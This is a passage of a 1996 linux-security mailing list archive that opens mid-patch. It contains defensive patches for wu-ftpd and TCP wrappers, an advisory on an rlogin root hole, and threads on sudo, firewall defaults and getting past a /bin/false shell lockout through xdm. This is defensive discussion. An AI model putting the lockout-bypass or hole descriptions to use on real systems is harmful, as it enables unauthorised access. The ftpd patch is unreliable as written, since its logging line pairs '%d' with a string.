restart_point; +#ifdef PARANOIA +extern struct sockaddr_in his_addr; +extern char remotehost[], remoteaddr[]; +#endif /* PARANOIA */ + extern char *strunames[]; extern char *typenames[]; extern char *modenames[]; @@ -712,6 +717,32 @@ a[0] = $1; a[1] = $3; a[2] = $5; a[3] = $7; p = (char *)&data_dest.sin_port; p[0] = $9; p[1] = $11; + /* just a little hacking defense: --ccr */ + /* perhaps we should also limit PORT commands to the connecting + site? --ccr */ +#ifdef PARANOIA + if(ntohs(data_dest.sin_port)<1025) + { + reply(421, "PORT command refused. This looks like hacking. Goodbye."); + /* We don't have remoteaddr etc. here. Therefore, we must log + without them. It shouldn't happen anyway. */ + syslog(LOG_NOTICE, + "PORT COMMAND REFUSED (low dest port %d) from %s [%s]", + ntohs(data_dest.sin_port), remotehost, remoteaddr); + dologout(0); + } +#ifdef EXTRA_PARANOIA + p = (char *)&his_addr.sin_addr; + if(a[0] != p[0] || a[1] != p[1] || a[2] != p[2] || a[3] != p[3]) + { + reply(421, "PORT command refused. Please use the address you are connecting from."); + syslog(LOG_NOTICE, + "PORT COMMAND REFUSED (bad address %d) from %s [%s]", + inet_ntoa(data_dest.sin_addr), remotehost, remoteaddr); + dologout(0); + } +#endif /* EXTRA_PARANOIA */ +#endif /* PARANOIA */ data_dest.sin_family = AF_INET; } ; diff -r -u wu-ftpd-2.4-fixed/src/ftpd.c wu-ftpd-2.4-fixed-sec/src/ftpd.c --- wu-ftpd-2.4-fixed/src/ftpd.c Sat Jun 3 16:36:22 1995 +++ wu-ftpd-2.4-fixed-sec/src/ftpd.c Sat Jul 13 15:48:25 1996 @@ -697,6 +697,7 @@ * does not have a standard shell as returned by getusershell(). Disallow * anyone mentioned in the file _PATH_FTPUSERS to allow people such as root * and uucp to be avoided. */ +/* Apart from standard shells, allow /etc/ftponly as well. --ccr */ user(char *name) { register char *cp; @@ -721,7 +722,7 @@ if (logged_in) { if (anonymous || guest) { - reply(530, "Can't change user from guest login."); + reply(530, "Can't change user from guest or limited login."); return; } end_login(); @@ -868,7 +869,8 @@ if (strcmp(cp, shell) == 0) break; endusershell(); - if (cp == NULL || checkuser(name)) { + if ((cp == NULL && strcmp("/etc/ftponly", shell) != 0) + || checkuser(name)) { reply(530, "User %s access denied...", name); if (logging) syslog(LOG_NOTICE, [REW: Some mime-related mailing stuff messed up the message, including the patch. I tried reversing that, but probably messed up. If this is the case, Christopher, could you submit this directly to the list?] -- Christopher Creutzig # Im Samtfelde 19 # D-33098 Paderborn # V+49-5251-71873 # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # das ihr techniker immer das letzte wort haben m???t, wahrscheinlich seid ihr doch einfach nur frauen.. (Autorin bekannt) From [email protected] Sun Jul 28 08:02:12 1996 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.13/$Revision: 2.9 $) id IAA08685; Sun, 28 Jul 1996 08:02:12 -0400 Date: 27 Jul 1996 23:08:00 +0200 From: [email protected] (Kai Henningsen) To: [email protected] Message-ID: <[email protected]> In-Reply-To: <[email protected]> Subject: Re: [linux-security] sendmail security X-Mailer: CrossPoint v3.1 R/C435 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Organization: Organisation? Me?! Are you kidding? X-No-Junk-Mail: I do not want to get *any* junk mail. Comment: Unsolicited commercial mail will incur an US$100 handling fee per received mail. Sender: [email protected] Precedence: list [email protected] (Kai Henningsen) wrote on 27.07.96 in <[email protected]>: > * The FROM field SHOULD contain both (1) the name of the > source host as presented in the HELO command and (2) a > domain literal containing the IP address of the source, > determined from the TCP connection. > > [REW: deleted some more. If I'm not mistaken "SHOULD" is explained to > mean the same as "MUST" in the RFC's.] Very much nope: 1.3.2 Requirements In this document, the words that are used to define the significance of each particular requirement are capitalized. These words are: * "MUST" This word or the adjective "REQUIRED" means that the item is an absolute requirement of the specification. * "SHOULD" This word or the adjective "RECOMMENDED" means that there may exist valid reasons in particular circumstances to ignore this item, but the full implications should be understood and the case carefully weighed before choosing a different course. * "MAY" This word or the adjective "OPTIONAL" means that this item is truly optional. One vendor may choose to include the item because a particular marketplace requires it or because it enhances the product, for example; another vendor may omit the same item. An implementation is not compliant if it fails to satisfy one or more of the MUST requirements for the protocols it implements. An implementation that satisfies all the MUST and all the SHOULD requirements for its protocols is said to be "unconditionally compliant"; one that satisfies all the MUST requirements but not all the SHOULD requirements for its protocols is said to be "conditionally compliant". [REW: Ok. I stand corrected. Thanks. However, I'd consider receiving mail through an uucp from a host not having an IP address a "valid reason" not to mention the IP address. In the case of the SMTP protocol the other side not having an IP address seems highly unlikely.... :-) Conclusion: Smail can be configured to be non-compliant. This is the default configuration on some distributions. In my eyes the absense of a "valid reason" not implementing a SHOULD makes for a violation of the RFC.] MfG Kai linux-security/linux-security.960729100664 1767 1767 4434 6177171073 16651 0ustar majdommajdomFrom [email protected] Mon Jul 29 03:18:41 1996 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.13/$Revision: 2.9 $) id DAA03118; Mon, 29 Jul 1996 03:18:41 -0400 Date: Sun, 28 Jul 1996 12:16:14 -0400 (EDT) From: Douglas Song X-Sender: [email protected] To: Christopher Creutzig cc: [email protected] Subject: Re: [linux-security] FTPd vulnerability and fix. In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: [email protected] Precedence: list You might want to check out *Hobbit's excellent fix-kit for wu-ftpd, so you don't have to duplicate his work. I haven't had any problems with it. ftp://ftp.avian.org/src/fixkits/wu24.fix [REW: That's why it would be nice if improvements go back into the main source tree. To prevent this duplication of work.....] --- Douglas Song dugsong@{umich.edu,monkey.org} University of Michigan ITD GPCC Unix Services www: http://www-personal.umich.edu/~dugsong keyid: C2263445 fingerprint: BF F5 20 EA DA 2F C4 F4 7D 68 4A 50 E4 35 D1 17 From [email protected] Mon Jul 29 13:17:41 1996 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.13/$Revision: 2.9 $) id NAA05913; Mon, 29 Jul 1996 13:17:41 -0400 Message-Id: <[email protected]> Subject: [linux-security] Linux-kernel bugs in 2.0.x To: [email protected] Date: Sun, 28 Jul 1996 10:52:19 +0200 (MET DST) From: [email protected] (Rogier Wolff) Content-Type: text Sender: [email protected] Precedence: list Someone asked wether there were any known bugs in the 2.0.x Linux kernel. Apart from TCP/IP bugs, I now know of only one. If you read from memory devices (kmem,mem,zero) or write to the console (/dev/tty?) no reschedules would take place. You could effectively hang a system that way. This has been fixed in 2.0.9. 2.0.10 is out already too. A presumably complete buglist with respect to networking stuff is at: http://www.uk.linux.org/NetNews.html Thanks go to Alan Cox for all of this info. Roger. linux-security/linux-security.960730100664 1767 1767 12476 6177422675 16675 0ustar majdommajdomFrom [email protected] Tue Jul 30 03:56:22 1996 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.13/$Revision: 2.9 $) id DAA10360; Tue, 30 Jul 1996 03:56:22 -0400 Date: Mon, 29 Jul 1996 09:36:01 -0500 (CDT) From: Michael Brennen To: Douglas Song cc: [email protected] Subject: Re: [linux-security] FTPd vulnerability and fix. In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: [email protected] Precedence: list On Sun, 28 Jul 1996, Douglas Song wrote: > You might want to check out *Hobbit's excellent fix-kit for wu-ftpd, so you > don't have to duplicate his work. I haven't had any problems with it. > > ftp://ftp.avian.org/src/fixkits/wu24.fix > > [REW: That's why it would be nice if improvements go back into the main > source tree. To prevent this duplication of work.....] Check out the beta below. I think you will find that many of Hobbit's and others' improvements have been worked into the source tree. -- Michael This is the location for the latest wu-ftpd. You can't see the directory contents, but get the file anyway. It's there. ftp://ftp.academ.com/pub/wu-ftpd/private/wu-ftpd-2.4.2-beta-11.tar.Z WU-FTPD FAQ: http://www.hvu.nl/~koos/wu-ftpd-faq.html guest howto: ftp://ftp.fni.com/pub/wu-ftpd/guest-howto There are additional security references in the above docs. From [email protected] Tue Jul 30 03:56:29 1996 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.13/$Revision: 2.9 $) id DAA10373; Tue, 30 Jul 1996 03:56:29 -0400 From: [email protected] (Wichert Akkerman) Message-Id: <[email protected]> Subject: [linux-security] Re: SUDO problems To: [email protected] Date: Mon, 29 Jul 1996 14:45:49 +0200 (MDT) Cc: [email protected] Organization: Zeilclub `Ten Onder!' Content-Type: text/plain; charset=US-ASCII X-Mailer: ELM [version 2.4 PL24 (modified)] Content-Type: text Content-Length: 806 Sender: [email protected] Precedence: list Blue Wrote: > A bit of usage has shown me a possible security hole with SUDO. SUDO > allows multiple uses within a certain time period without reentering your > password to ensure that you are who you say. This is a feature. > However, if there is another terminal logged in, or logs in, during that > period, they can use SUDO without entering a passwd. SUDO asks for a > password to ensure that an unattended terminal isn't used to run programs > with root, and this allows that to be circumvented. New versions of sudo fixed this: they have a compile-time option to check the tty the user is using as well as the accountname. You'll still can't leave your terminal unattended though (which is never wise since physical access is total access). Grtz, Wichert. From [email protected] Tue Jul 30 11:09:47 1996 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.13/$Revision: 2.9 $) id LAA12029; Tue, 30 Jul 1996 11:09:47 -0400 Message-Id: <[email protected]> Subject: [linux-security] Test squad results on group rights denial To: [email protected] Date: Tue, 30 Jul 1996 09:27:53 +0200 (MET DST) From: [email protected] (Rogier Wolff) Content-Type: text Sender: [email protected] Precedence: list I've got several replies back from the test squad now. The question was: Can we find OSes where you cannot get less rights than "other" if you're in the group..... The test squad so far has access to the following OSes: Linux (Slackware 3.0) 2.0.9 Linux (Slackware 2.0 w/mods) 1.2.13 Linux (Slackware 2.3) 2.0.8 Linux (Slackware 3.0) 2.0.7 Linux (Slackware ??) 1.2.8 Linux (Debian 1.1) 2.0.8 Linux (RedHat 3.0.3) 2.0.0 Linux (Redhat ??) ???? Linux (custom) 2.0.8 Linux (???) 1.3.80, ext2fs AIX 2.3 BSDI 2.0 HPUX 9.05 HPUX 10.10 HPUX 10.01 Irix 5.3 Irix 6.2 OSF1 3.2 OSF1 3.2d SunOS 4.1.3 SunOS 4.1.4 Solaris 2.3 (SunOS 5.3) Solaris 2.4 (SunOS 5.4) Solaris 2.5 (SunOS 5.5) VMS 5.5-1 On most OSes it seems that you are able to revoke rights by putting someone in a group, and revoking group rights. I got reports about NOT being able to revoke "other" rights using the group bits for the following OSes: HPUX 10.01, Irix 5.3 and Linux 1.2.8. I verified HPUX versions 9.05 and 10.10 myself, and WAS able to revoke rights. Others have been able to do that for Linux and Irix. For Linux it might be filesystem dependent. Ext2fs will handle this properly. The test squad ran 30 tests, of which 3 turned out questionable. The original report from Daniel Roedding ([email protected]) that it didn't work on an old dynix system still stands. Roger. -- /* EMail: [email protected] */ int main (int argc,char**argv){ /* Tel: +31-15-2137459 */ if (*++argv&&!strcmp(*argv,"-advice")) /* WWW: http://www.BitWizard.nl/ */ {printf("Don't Panic!\n");exit(42);}} linux-security/linux-security.960731100664 1767 1767 16311 6177602027 16655 0ustar majdommajdomFrom [email protected] Wed Jul 31 02:56:49 1996 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.13/$Revision: 2.9 $) id CAA15853; Wed, 31 Jul 1996 02:56:49 -0400 Message-Id: <[email protected]> To: [email protected] Cc: [email protected] Subject: [linux-security] LSF Update#11: Vulnerability of rlogin Date: Tue, 30 Jul 1996 18:11:00 -0400 From: "Alexander O. Yuriev" Sender: [email protected] Precedence: list -----BEGIN PGP SIGNED MESSAGE----- Linux Security FAQ Update rlogin Vulnerability Tue Jul 30 17:51:57 EDT 1996 Copyright (C) 1995 Alexander O. Yuriev ([email protected]) CIS Laboratories TEMPLE UNIVERSITY U.S.A. ============================================================================= This is an official update of the Linux security FAQ, and it is supposed to be signed by one of the following PGP keys: pub 1024/9ED505C5 1995/12/06 Jeffrey A. Uphoff Jeffrey A. Uphoff 1024/EFE347AD 1995/02/17 Olaf Kirch 1024/ADF3EE95 1995/06/08 Linux Security FAQ Primary Key Unless you are able to verify at least one of signatures, please be very careful when following instructions. Linux Security WWW: http://bach.cis.temple.edu/linux/linux-security linux-security & linux-alert mailing list archives: ftp://linux.nrao.edu/pub/linux/security/list-archive ============================================================================= ABSTRACT A vulnerability exists in the rlogin program of NetKitB-0.6 This vulnerability affects several widely used Linux distributions, including RedHat Linux 2.0, 2.1 and derived systems including Caldera Network Desktop, Slackware 3.0 and others. This vulnerability is not limited to Linux or any other free UNIX systems. Both the information about this vulnerability and methods of its expolit were made available on the Internet. RISK ASSESMENT Local and remote users could gain super-user priviledges DISTRIBUTION FIXES Red Hat Commercial Linux Red Hat Linux version 2.0 and 2.1 contains vulnerable program unless NetKit-B-0.06-7.i386.rpm was installed. In order to fix the vulnerability install NetKit-B-0.06-7 rpm available from ftp://ftp.redhat.com/pub/redhat/old-releases/redhat-2.1/i386/updates/RPMS/NetKit-B-0.06-7.i386.rpm ftp://bach.cis.temple.edu/pub/Linux/security/DISTRIBUTION-FIXES/RedHat-2.1/NetKit-B-0.06-7.i386.rpm ftp://tarsier.cv.nrao.edu/pub/linux/security/DISTRIBUTION-FIXES/RedHat-2.1/NetKit-B-0.06-7.i386.rpm Please verify the MD5 signature of the RPM prior to installing it. 601c3f6137a6fb15ae61a6b817395040 NetKit-B-0.06-7.i386.rpm Red Hat Linux version 3.0.3 (Picasso) does not contain vulnerable rlogin program. Caldera Network Desktop Version 1 of CND contains the vulnerable program unless NetKit-B-0.06-4c1.i386.rpm was installed. This RPM is available from ftp://ftp.caldera.com/pub/cnd-1.0/updates/NetKit-B-0.06-4c1.i386.rpm ftp://bach.cis.temple.edu/pub/Linux/Security/DISTRIBUTION-FIXES/CND/NetKit-B-0.06-4c1.i386.rpm ftp://tarsier.cv.nrao.edu/pub/linux/security/DISTRIBUTION-FIXES/CND/NetKit-B-0.06-4c1.i386.rpm Please verify the MD5 signature of RPM prior to installing it. aeb2da201477cd3280fdc09836395c35 NetKit-B-0.06-4c1.i386.rpm Version 1 of CND upgraded to RedHat Linux 3.0.3 (Picasso) does not contain a vulnerable program. Debian Debian Project did not either confirm or deny the vulnerability of Debian/GNU Linux 1.1. Debian/GNU Linux systems may be vulnerable if NetKit-B-0.6 is installed. Until the official fix-kit is available for Debian/GNU Linux, system administrators of Debian systems are advised to follow guidelines under Other Linux Distributions section. Slackware The Slackware Linux distribution Version 3.0 is confirmed to be vulnerable unless a NetKit newer than NetKit-B-0.6 is installed. Until the official fix-kit is available for Slackware 3.0, the system administrators are advised to follow the guidelines under Other Linux Distributions section. Yggdrasil Yggdrasil Computing's Plug & Play Linux Fall'95 contains vulnerable rlogin program. Adam J. Richter from Yggdrasil Computing made an unofficial fix-kit available at ftp.yggdrasil.com/pub/support/fall95/rlogin_fix/ We are unable to provide MD5 signature for the fix kit as we are unable to verify the integrity of the message. Other Linux Distributions System administrators of systems based on other Linux distributions or distributions that do not have official patch-kits available are advised to install newly released NetKit-B-0.7 available from ftp://ftp.uk.linux.org/pub/linux/Networking/base and ftp://sunsite.unc.edu/pub/Linux/Incoming CREDITS This LSF Update is based on the information provided by Alan Cox. The first patch for rlogin program was provided by Marc Ewing of Red Hat Software. Ron Holt of Caldera Inc provided fixed RPM for Caldera Network Desktop within 3 hours after the initial contact. Adam J. Richter provided unofficial information about the unofficial fix-kit for Yggdrasil Plug and Play Linux Fall'95. -----BEGIN PGP SIGNATURE----- Version: 2.6.2 iQCVAwUBMf6EsYxFUz2t8+6VAQFDVAQAloKbM00wdzNCwcyo9Wz8wJo54a+TwYN6 Xua/PFBnhunCpJy/T0BOO/Dh1IBE/mCu2FSNMK/bkRXel6Om9lEzjDHlyeUizeBI enIAOWQvNBf0e+/lHJXXtCSIWNeSfSysCaP98Y7F6bouZc14l1d/PJg7eSmWikFG HhgcRl6ZyHM= =hG1l -----END PGP SIGNATURE----- From [email protected] Wed Jul 31 02:58:25 1996 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.13/$Revision: 2.9 $) id CAA15889; Wed, 31 Jul 1996 02:58:25 -0400 Message-Id: <[email protected]> X-Mailer: exmh version 1.6.4 10/10/95 To: [email protected] Subject: [linux-security] Re: SUDO problems Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Date: Tue, 30 Jul 1996 14:39:17 -0600 From: Jeremy Heffner Sender: [email protected] Precedence: list [...snip...] >> However, if there is another terminal logged in, or logs in, during that >> period, they can use SUDO without entering a passwd. SUDO asks for a [...snip...] >New versions of sudo fixed this: they have a compile-time option to check >the tty the user is using as well as the accountname. You'll still can't [...snip...] There is also the #DEFINE to set the timeout value. If you are really paranoid, and dont favor using xlock, why not just set that to 0? -jeremy ------------------------------------------------------------------------- Jeremy Heffner | Televiso.com System Administration Finger for PGP public-key | My thoughts, my brains, noone else's ------------------------------------------------------------------------- linux-security/linux-security.960802100664 1767 1767 2323 6200451726 16625 0ustar majdommajdomFrom [email protected] Fri Aug 2 15:15:28 1996 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.13/$Revision: 2.10 $) id PAA00047; Fri, 2 Aug 1996 15:15:28 -0400 Message-Id: <[email protected]> Subject: [linux-security] xdm sessions still work with bad shell. To: [email protected] Date: Thu, 1 Aug 1996 20:10:37 +0200 (MET DST) From: [email protected] (Rogier Wolff) Content-Type: text Sender: [email protected] Precedence: list I just found the following. It does exactly what -==I==-- want it to do, but I can also imagine that this is NOT what you want. I have a user with a "bad shell" (/bin/false). I cannot telnet, rlogin or FTP into the machine. However with a valid .xsession, I can login to xdm. With the Default RedHat fvwm config, I can then run xterms, which are started with "-e /bin/bash", so they don't look at the shell in /etc/passwd. rxvt is configured to use the shell in the password file so that it exits immediately. To lock a user out of a system it is not sufficient to give the user an invalid shell. If a user can get an xdm (X -query ) login screen, this is easily subverted. Roger. linux-security/linux-security.960807100664 1767 1767 5460 6202201223 16622 0ustar majdommajdomFrom [email protected] Wed Aug 7 06:48:11 1996 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.13/$Revision: 2.10 $) id GAA16671; Wed, 7 Aug 1996 06:48:11 -0400 Date: Mon, 5 Aug 1996 23:13:44 -0500 (CDT) From: Jeff Barrow X-Sender: [email protected] To: [email protected] Subject: [linux-security] A (possibly) crazy idea... Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: [email protected] Precedence: list I had an idea.... What if I set up a linux box with mgetty+sendfax, with the auto-ppp patch installed, and for the normal login process used instead rlogin to connect to our main computer. (The ppp would use a diff. protocol for authentication). What security issues should I be aware of for this to work how I want it to? (which is for the dial-in users to enter thier password and be logged into the main system....) Thanks in advance, Jeff Barrow From [email protected] Wed Aug 7 16:54:35 1996 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.13/$Revision: 2.10 $) id QAA19615; Wed, 7 Aug 1996 16:54:35 -0400 From: Miquel van Smoorenburg Message-Id: <[email protected]> Subject: Re: [linux-security] A (possibly) crazy idea... To: [email protected] (Jeff Barrow) Date: Wed, 7 Aug 1996 22:50:33 +0200 (MET DST) Cc: [email protected] In-Reply-To: from "Jeff Barrow" at Aug 5, 96 11:13:44 pm X-Mailer: ELM [version 2.4 PL25 PGP2] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: [email protected] Precedence: list You (Jeff Barrow) wrote: > I had an idea.... What if I set up a linux box with mgetty+sendfax, with > the auto-ppp patch installed, and for the normal login process used > instead rlogin to connect to our main computer. (The ppp would use a > diff. protocol for authentication). What security issues should I be > aware of for this to work how I want it to? (which is for the dial-in > users to enter thier password and be logged into the main system....) We've been doing this for a year and a half now and it works fine. You'll need a patched rlogin so that you can fake the loginname on the local side, then setup a suitable hosts.equiv on the remote side. Just do _not_ duplicate all accounts on the "terminal server" and the "main server". Then the terminal server will be safe. Mike. -- Miquel van | Cistron Internet Services -- Alphen aan den Rijn. Smoorenburg, | mailto:[email protected] http://www.cistron.nl/ [email protected] | Tel: +31-172-419445 (Voice) 430979 (Fax) 442580 (Data) linux-security/linux-security.960808100664 1767 1767 3273 6202406462 16637 0ustar majdommajdomFrom [email protected] Thu Aug 8 11:52:14 1996 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.13/$Revision: 2.10 $) id LAA25111; Thu, 8 Aug 1996 11:52:14 -0400 Message-Id: Date: Thu, 1 Aug 96 02:42 BST From: Ian Jackson To: [email protected] Subject: Re: [linux-security] sendmail security Newsgroups: chiark.mail.linux-security In-Reply-To: References: <[email protected]> Sender: [email protected] Precedence: list John Henders writes ("Re: [linux-security] sendmail security"): ... > Qmail is nice, but in defence of smail, I'd like to point out that smail > has had _one_ cert notice since they started doing cert advisories. ... > [REW: I don't believe that the number of CERT warnings is a measure > for security. [elided - iwj]] Smail (properly configured) has only ever had one known security hole, and that one was not exploitable from the network - you had to have an account on the system. The bug was that you could under some circumstances have debugging output sent to a file of your choosing even if you couldn't ordinarily write the file. NB that this hole was NOT exploitable by the DEBUG command available via Smail's SMTP server, as that doesn't allow a filename to be specified, and that it has nothing to do with prehistoric Sendmails' hideous DEBUG hole. Ian. 220 chiark.chu.cam.ac.uk Smail3.1.29.1 #35 ready at Thu, 1 Aug 96 02:40 BST debug 250 level 1. You think this is a security hole ? Please RTFM. quit 221 chiark.chu.cam.ac.uk closing connection linux-security/linux-security.960809100664 1767 1767 16451 6202660234 16661 0ustar majdommajdomFrom [email protected] Fri Aug 9 06:46:20 1996 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.13/$Revision: 2.10 $) id GAA29857; Fri, 9 Aug 1996 06:46:20 -0400 From: Algis Rudys Message-Id: <[email protected]> Subject: [linux-security] TCP Wrappers Syslogging To: [email protected] Date: Fri, 9 Aug 1996 01:26:42 -0400 (EDT) X-Mailer: ELM [version 2.4 PL24] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: [email protected] Precedence: list Hi all. I am using TCP Wrappers 7.4 by Wietse Venema. I am trying to get the wrappers to log both the Domain name and IP address to Syslog of all Incoming connections (currently only Names are logged.). Is this advisable; and if so, is there a patch available to indicate to me how I should go about doing this? [REW: That would be a very good idea. It would also be easy to implement.] Thank you. Algis Rudys -- Algis Rudys [email protected] From [email protected] Fri Aug 9 06:46:31 1996 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.13/$Revision: 2.10 $) id GAA29870; Fri, 9 Aug 1996 06:46:31 -0400 From: Nathan Ramella Message-Id: <[email protected]> Subject: Re: [linux-security] sendmail security To: [email protected] (Ian Jackson) Date: Thu, 8 Aug 1996 11:58:09 -0700 (PDT) Cc: [email protected] In-Reply-To: from "Ian Jackson" at Aug 1, 96 02:42:00 am X-Mailer: ELM [version 2.4 PL25] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Content-Length: 2149 Sender: [email protected] Precedence: list >>Ian Jackson wrote: >>To: [email protected] >>Subject: Re: [linux-security] sendmail security >> >>John Henders writes ("Re: [linux-security] sendmail security"): >>... >>> Qmail is nice, but in defence of smail, I'd like to point out that smail >>> has had _one_ cert notice since they started doing cert advisories. >>... >>> [REW: I don't believe that the number of CERT warnings is a measure >>> for security. [elided - iwj]] >> >>Smail (properly configured) has only ever had one known security hole, >>and that one was not exploitable from the network - you had to have an >>account on the system. The bug was that you could under some >>circumstances have debugging output sent to a file of your choosing >>even if you couldn't ordinarily write the file. NB that this hole was >>NOT exploitable by the DEBUG command available via Smail's SMTP >>server, as that doesn't allow a filename to be specified, and that it >>has nothing to do with prehistoric Sendmails' hideous DEBUG hole. >> >>Ian. >> >>220 chiark.chu.cam.ac.uk Smail3.1.29.1 #35 ready at Thu, 1 Aug 96 02:40 BST >>debug >>250 level 1. You think this is a security hole ? Please RTFM. >>quit >>221 chiark.chu.cam.ac.uk closing connection Might I just comment, I'm sure smail has just as many holes as sendmail, if not more.. The reason it's supposedly "secure" is because smail is a little more low profile than sendmail. sendmail is used on probably 80%-90% of all UNIX machines everywhere in one form or another, therefor (h|cr)ackers have more impetus to write exploits for it. If smail ever got "really popular", it would probably suffer the same growing pains that sendmail has gone through, and will continue to go through. (And a side note, anyone who thinks they're 'more secure' because of smail is relying on security through obscurity, and is only kidding themselves.) If you _really_ want security, try running sendmail through inetd, uid(nobody), gid(mail), and hack in some pgp encryption to the mail spool. Just running smail won't do it, or even more to the point NOT running sendmail definitly won't do it. -Nate From [email protected] Fri Aug 9 10:45:49 1996 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.13/$Revision: 2.10 $) id KAA30922; Fri, 9 Aug 1996 10:45:49 -0400 Message-Id: <9608090742.AA18646@sydrd15> To: [email protected] Subject: [linux-security] Suggestion for Linux default fw policy Date: Fri, 09 Aug 1996 17:41:19 +1000 From: Graeme Elsworthy Sender: [email protected] Precedence: list Hi all, I've been bitten by what I consider to be a problem with the default policy in Linux 2.0. I mean the default policy immediately after an interface is ifconfig'ed. In net/ipv4/ip_fw.c line 153 (2.0.10, not sure other patch levels) there are three assignments, one for each of the in, out and forward directions, of IP_FW_F_ACCEPT. I suggest that anybody using Linux as part of a firewall, like as a filtering router or bastion host, should change these assignments to 0, thus changing the default policy to "deny". Why? Because for the time between an interface being ifconfig'ed and the filtering rules being set the interface is set to "accept" all and every packet. This is not good. Especially if, as in my case, a reboot freezes between the ifconfig and the setting of the filtering rules - the interface is up and forwarding all packets, not filtering packets as needed, and nothing but manual intervention could fix it. Any comments? Cheers, Graeme. Graeme Elsworthy, Systems Manager __________T_e_l_e_c_t_r_o_n_i_c_s__|/\ __ Telectronics Pacing Systems Pacing Systems \/ 7 Sirius Rd, Lane Cove, NSW 2066, Australia Tel: +61 2 9413 6888 Fax: +61 2 9413 6060 Email: [email protected] From [email protected] Fri Aug 9 12:00:25 1996 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.13/$Revision: 2.10 $) id MAA32010; Fri, 9 Aug 1996 12:00:25 -0400 Message-Id: <[email protected]> Subject: [linux-security] Suggestion for Linux default fw policy (fwd) To: [email protected] Date: Fri, 9 Aug 1996 17:52:25 +0200 (METDST) From: [email protected] (Rogier Wolff) X-Return-Receipt-To: [email protected] X-Priority: 1 X-Mailer: ELM [version 2.4 PL25] Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Content-Length: 923 Sender: [email protected] Precedence: list Graeme Elsworthy wrote: > Why? Because for the time between an interface being ifconfig'ed and > the filtering rules being set the interface is set to "accept" all and > every packet. This is not good. Especially if, as in my case, a reboot > freezes between the ifconfig and the setting of the filtering rules - the > interface is up and forwarding all packets, not filtering packets as > needed, and nothing but manual intervention could fix it. > > Any comments? Yes. This is why Jos Vos (author of ipfwadm) recommends first setting your firewall rules, and only then ifconfig-ing the devices to go UP. :-) Roger. -- /* EMail: [email protected] */ int main (int argc,char**argv){ /* Tel: +31-15-2137459 */ if (*++argv&&!strcmp(*argv,"-advice")) /* WWW: http://www.BitWizard.nl/ */ {printf("Don't Panic!\n");exit(42);}} linux-security/linux-security.960810100664 1767 1767 11554 6203035460 16646 0ustar majdommajdomFrom [email protected] Sat Aug 10 03:32:30 1996 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.13/$Revision: 2.10 $) id DAA06008; Sat, 10 Aug 1996 03:32:30 -0400 Message-Id: <[email protected]> Subject: Re: [linux-security] TCP Wrappers Syslogging In-reply-to: Your message of "Fri, 09 Aug 1996 01:26:42 EDT." <[email protected]> X-Mailer: MH 6.8.3 To: Algis Rudys cc: [email protected], [email protected] Date: Fri, 09 Aug 1996 17:08:32 -0400 From: Nikita Borisov Sender: [email protected] Precedence: list Algis Rudys writes: >Hi all. > I am using TCP Wrappers 7.4 by Wietse Venema. I am trying >to get the wrappers to log both the Domain name and IP address to >Syslog of all Incoming connections (currently only Names are >logged.). > > Is this advisable; and if so, is there a patch available >to indicate to me how I should go about doing this? There is now. :) I've added a ALWAYS_IP_ADDR define to the Makefile that makes the daemon always log the IP address, regardless of whether the DNS fails. Here's the patch: [REW: Nit: The comment on the second added line should read "lookup succeeds". The TCP wrappers are already pretty paranoid about trusting DNS, but having the IP number really can't hurt. Note that my current setup allows connections from anywhere, so it will also allow connections from "PARANOID", the special host that corresponds to someone who is attempting a DNS spoof.] diff -Nur old/tcp_wrappers_7.4/Makefile tcp_wrappers_7.4/Makefile --- old/tcp_wrappers_7.4/Makefile Mon Mar 25 13:22:25 1996 +++ tcp_wrappers_7.4/Makefile Fri Aug 9 17:03:59 1996 @@ -619,6 +619,10 @@ # # KILL_OPT= -DKILL_IP_OPTIONS +# Optional: Always log the IP address of the host, even if the DNS +# lookup fails +ALWAYS_IP_OPT= -DALWAYS_IP_ADDR + ## End configuration options ############################ @@ -628,7 +632,7 @@ .c.o:; $(CC) $(CFLAGS) -c $*.c CFLAGS = -O -DFACILITY=$(FACILITY) $(ACCESS) $(PARANOID) $(NETGROUP) \ - $(BUGS) $(SYSTYPE) $(AUTH) $(UMASK) \ + $(BUGS) $(SYSTYPE) $(AUTH) $(UMASK) $(ALWAYS_IP_OPT) \ -DREAL_DAEMON_DIR=\"$(REAL_DAEMON_DIR)\" $(STYLE) $(KILL_OPT) \ -DSEVERITY=$(SEVERITY) -DRFC931_TIMEOUT=$(RFC931_TIMEOUT) \ $(UCHAR) $(TABLES) $(STRINGS) $(TLI) $(EXTRA_CFLAGS) $(DOT) \ diff -Nur old/tcp_wrappers_7.4/eval.c tcp_wrappers_7.4/eval.c --- old/tcp_wrappers_7.4/eval.c Mon Jan 30 13:51:46 1995 +++ tcp_wrappers_7.4/eval.c Fri Aug 9 17:03:59 